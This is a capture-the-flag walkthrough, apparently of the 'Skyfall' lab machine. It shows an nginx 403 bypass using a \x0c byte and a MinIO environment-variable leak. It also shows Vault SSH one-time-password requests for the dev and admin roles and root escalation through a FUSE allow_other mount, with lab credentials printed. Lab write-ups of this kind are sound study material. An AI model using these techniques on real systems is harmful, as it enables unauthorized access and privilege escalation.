We were able to login with default creds given: guest:guest
I tried for LFI with remaining filename, or upload .php and trying to access it from somewhere.
Although I didn't find anything, we can further move on for other approach.
The only interesting thing was this 403, WHY?
Well if we try to access /beta the flask app restricts us, but for /metrics nginx doesn't allow us to go forward, so that means....there's a website which flask can serve us if we bypass nginx 403.
Googling Nginx 403 bypass hacktricks gives us this beautiful resource
Third title worked for me, Unsafe path restriction which leads us to the following page
Our nginx version is nginx/1.18.0 (Ubuntu)
We will add 0c in our request
And VoiLA!!, we got in.
Info
Why this attack worked?
It's because nginx was set to return 403 on /metrics request, but we were sending /metrics\x0c request which was considered as different request and it was forwarded later to Flask.
Flask usually strips URLs before parsing them, so our /metrics\x0c became /metrics and the data of the webpage was returned back to us.
Anyway, back to web attack.
If we scroll down a bit, we can see it's using minIO with:
MinIO is a High Performance Object Storage API compatible with Amazon S3 cloud storage service.
It's like aws cli, with few other features.
MinIO bug
If we search the version number on google we find this article
The vulnerability exists in the API endpoint http://your-ip:9000/minio/bootstrap/v1/verify. Use the POC mentioned above by sending the request to retrieve all environment variables.
YESSSSSS.... we got secret username and password.....
Install mc to interact with the minIO instance
User shell
Minio client
╰─➤ ./mc alias set skyfall http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0 130 ↵
mc:Configurationwrittento`/home/kali/.mc/config.json`.Pleaseupdateyouraccesscredentials.mc:Successfullycreated`/home/kali/.mc/share`.mc:Initializedshareuploads`/home/kali/.mc/share/uploads.json`file.mc:Initializedsharedownloads`/home/kali/.mc/share/downloads.json`file.Added`skyfall`successfully.
Help menu of mc will tell us how to list files,
lslistbucketsandobjects# ./mc ls --help# --versions list all versions
# --recursive, -r list recursively ls--recursiveskyfallls--recursive--versionskyfall
What's version?
It's basically like git commit, new version will have different data than previous version.
╰─➤ ./mc ls --recursive --versions skyfall 1 ↵
[2023-11-08 10:29:15 IST] 0B askyy/[2023-11-08 11:05:28 IST] 48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf[2023-11-10 03:07:25 IST] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz[2023-11-10 03:07:09 IST] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz[2023-11-10 03:06:30 IST] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz[2023-11-08 10:28:56 IST] 0B btanner/[2023-11-08 11:05:36 IST] 48KiB STANDARD null v1 PUT btanner/Welcome.pdf[2023-11-08 10:28:33 IST] 0B emoneypenny/[2023-11-08 11:05:56 IST] 48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf[2023-11-08 10:28:22 IST] 0B gmallory/[2023-11-08 11:06:02 IST] 48KiB STANDARD null v1 PUT gmallory/Welcome.pdf[2023-11-08 05:38:01 IST] 0B guest/[2023-11-08 05:38:05 IST] 48KiB STANDARD null v1 PUT guest/Welcome.pdf[2023-11-08 10:29:05 IST] 0B jbond/[2023-11-08 11:05:45 IST] 48KiB STANDARD null v1 PUT jbond/Welcome.pdf[2023-11-08 10:28:10 IST] 0B omansfield/[2023-11-08 11:06:09 IST] 48KiB STANDARD null v1 PUT omansfield/Welcome.pdf[2023-11-08 10:28:45 IST] 0B rsilva/[2023-11-08 11:05:51 IST] 48KiB STANDARD null v1 PUT rsilva/Welcome.pdf
Reading ./v2/.ssh/id_rsa.pub reveals the username askyy (askyy@skyfall)
./v2/.ssh/id_rsa has ssh private key
I tried ssh'ing the server with this private key, it doesn't work for some reason.
╰─➤ssh-i./v2/.ssh/id_rsaaskyy@skyfall.htb#(yeah i did chmod 600)Theauthenticityofhost'skyfall.htb (10.10.11.254)'can't be established.ED25519 key fingerprint is SHA256:mUK/F6yhenOEZEcLnWWWl3FVk3PiHC8ETKpL3Sz773c.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added 'skyfall.htb' (ED25519) to the list of known hosts.(askyy@skyfall.htb) Password: # SEEE it doesn"t work :(
It's a hashicorp token, what's the token for? (Answer straight from google)
What is HashiCorp Vault used for?
It is used to secure, store and protect secrets and other sensitive data using a UI, CLI, or HTTP API. A secret is anything that you want to tightly control access to, such as tokens, API keys, passwords, encryption keys or certificates.
It's basically like a password management tool, which gives you one time sign in password and rotates it everytime. Perhaps that why signing in with private key didn't work bcuz hashicorp changed the password and keys and that was the key valid only for a single login session. (this is just a guess)
Hashicorp client
You can download it from here
We can login and check if everything is working fine
Since the ssh didn't worked last time, because hashicorp changes password everytime, I decided to move on and get the creds working.
The above resource will guide us how to get password from the server.
#sample input snip i took from above resourcecurl \--header"X-Vault-Token: ..." \--requestPOST \--data@payload.json \http://127.0.0.1:8200/v1/ssh/creds/my-role# X-Valut Token is present in our env variable already# my-role is something we need to figure out, if you go through the above resource, # you can find list-roles section╰─➤./vaultlistssh/rolesKeys----admin_otp_key_roledev_otp_key_role# Our role ofc will be dev_otp_key_role
Inputing all values, we can now have user shell (FINALLY)
askyy@skyfall:/tmp/heap$sudo-lMatchingDefaultsentriesforaskyyonskyfall: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
Useraskyymayrunthefollowingcommandsonskyfall: (ALL:ALL) NOPASSWD:/root/vault/vault-unseal^-c/etc/vault-unseal.yaml-[vhd]+$ (ALL:ALL) NOPASSWD:/root/vault/vault-unseal-c/etc/vault-unseal.yamlaskyy@skyfall:/tmp/heap$sudo/root/vault/vault-unseal-c/etc/vault-unseal.yaml-v[+] Reading: /etc/vault-unseal.yaml[-] Security Risk![-] Mastertokenfoundinconfig:****************************[>] Enable 'debug' mode for details[+] Found Vault node: http://prd23-vault-internal.skyfall.htb[>] Check interval: 5s[>] Max checks: 5[>] Checking seal status[+] Vault sealed: falseaskyy@skyfall:/tmp/heap$ls
Master token is basically root token, which can do anything, our end goal is to get master token and get root ssh creds.
Read more about tokens here:
askyy@skyfall:/tmp/heap$sudo/root/vault/vault-unseal-c/etc/vault-unseal.yaml-d[>] Checking seal status[+] Vault sealed: falseaskyy@skyfall:/tmp/heap$ls-latotal12drwxrwxr-x2askyyaskyy4096Sep118:18.drwxrwxrwt13rootroot4096Sep118:18..-rw-------1rootroot590Sep118:18debug.log
We can't read the file contents, this might has our master token key.
Since we can decide what directory to put the file in (debug.log), we can play with the filesystem.
We can see user_allow_other option enables in /etc/fuse.conf ..... I found a good resource
This tutorial explains security flaws of having user_other_allow
In this case, any user making use of the filesystem has root privileges on that filesystem! If the process has access to the actual filesystem, this could easily be used to gain pretty much unlimited access.
Since user is making a file where we specify, and we have user_other_allow option enabled, we can try for race conditions. Basically we will create a mount that will intake all data from current folder.
So i.e.
our_mount -> original_folder
So whatever data comes to original folder (even if as root), we can get that data in our_mount.
Honestly, this was my first time exploiting FUSE, I couldn't find good resource, so here's one from 0xdf/ippsec:
https://github.com/hanwen/go-fuse
We can compile memfs from examples/ folder.
server, err := fuse.NewServer(conn.RawFS(), mountPoint, &fuse.MountOptions{ Debug: *debug, AllowOther: true,})//slight change, we need to add AllowOther: true,since it's enabled in /etc/fuse.conf//if we dont add it, our exploit wont work because by default that feature is off everywhere
─➤curl \--header"X-Vault-Token: $VAULT_ROOT" \--requestPOST \--data@payload.json \"$VAULT_ADDR/v1/ssh/creds/admin_otp_key_role"-s|jq{"request_id":"53c328f3-f604-5402-10fd-57d4512642ae","lease_id":"ssh/creds/admin_otp_key_role/LFeN97caTqUAJYAkwDFcdjt4","renewable":false,"lease_duration":2764800,"data":{"ip":"10.10.11.254","key":"9b0118c3-3084-b4c0-e475-2d556700f4ea","key_type":"otp","port":22,"username":"root" },"wrap_info":null,"warnings":null,"auth":null}# I changed 2 things, # 1st. --header as $VAULT_ROOT# 2nd. v1/ssh/creds/admin_otp_key_role# changed from dev_otp_key_role to admin one